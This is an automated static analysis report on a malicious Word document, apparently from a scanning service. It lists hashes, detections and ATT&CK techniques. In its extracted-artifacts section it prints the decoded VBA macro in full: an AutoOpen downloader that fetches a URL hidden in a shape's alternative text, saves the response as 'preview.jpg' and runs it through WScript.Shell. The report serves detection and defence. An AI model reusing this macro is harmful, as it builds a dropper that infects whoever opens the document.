Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e127aa8e4900fa9b…

MALICIOUS

Office (OOXML)

111.1 KB Created: 2020-08-13 09:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 88f50fd848a2d2bde965ed081c569e9d SHA-1: 8b3203138328846227060f96411c571b561487a7 SHA-256: e127aa8e4900fa9b6c43874eba9d73cab85b9a3c1f98524167097b69d1d53ccd
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell and CreateObject to download content from an external URL. The script attempts to download a file, save it as 'preview.jpg', and then execute it. This indicates a downloader functionality, likely to fetch and run a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.W2000m-9757284-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.W2000m-9757284-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function df9e122e(b8598129)
Set aceddcc6 = CreateObject("wscript.shell")
Call aceddcc6.exec(b8598129)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function df9e122e(b8598129)
Set aceddcc6 = CreateObject("wscript.shell")
Call aceddcc6.exec(b8598129)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
Dim ff85fc92 As New d7cd71a8
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1579 bytes
SHA-256: 8d06c5cdca933d0163c08d3f6145f1aa74809344fefdeea623dc295396d08d94
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "b9d1ecfe"
Function ed71ee4c()
ed71ee4c = 1
End Function
Sub AutoOpen()
Dim ff85fc92 As New d7cd71a8
b6bb8522 = ff85fc92.c492b9b9(ActiveDocument.Shapes(ed71ee4c).AlternativeText)
df32966b ba9cf3dd(b6bb8522)
ff85fc92.df9e122e dcd3f665
End Sub

Attribute VB_Name = "d255cded"
Sub df32966b(f9af505b)
Open f5d112a0 For Output As #1
Print #1, f9af505b
Close #1
End Sub
Function f5d112a0()
f5d112a0 = "preview.jpg"
End Function
Sub f45fc2da()
End Sub
Function ba9cf3dd(f9af505b)
ba9cf3dd = StrConv(f9af505b, 64)
End Function
Function dcd3f665()
dcd3f665 = ActiveDocument.Shapes(1).Title + " " + f5d112a0
End Function

Attribute VB_Name = "d7cd71a8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function c492b9b9(cc94e81d)
Dim ba8d6529 As Object
Set ba8d6529 = New MSXML2.XMLHTTP60
ba8d6529.Open "GET", cc94e81d, False
ba8d6529.Send
'
With ba8d6529
c492b9b9 = .responsebody
End With
End Function
Function df9e122e(b8598129)
Set aceddcc6 = CreateObject("wscript.shell")
Call aceddcc6.exec(b8598129)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 31009fd2dfac7ac2a7603ead5935711d180e71002ffd4ec20035b5605a3484df
Detection
ClamAV: Doc.Malware.W2000m-9757284-0
Obfuscation or payload: unlikely

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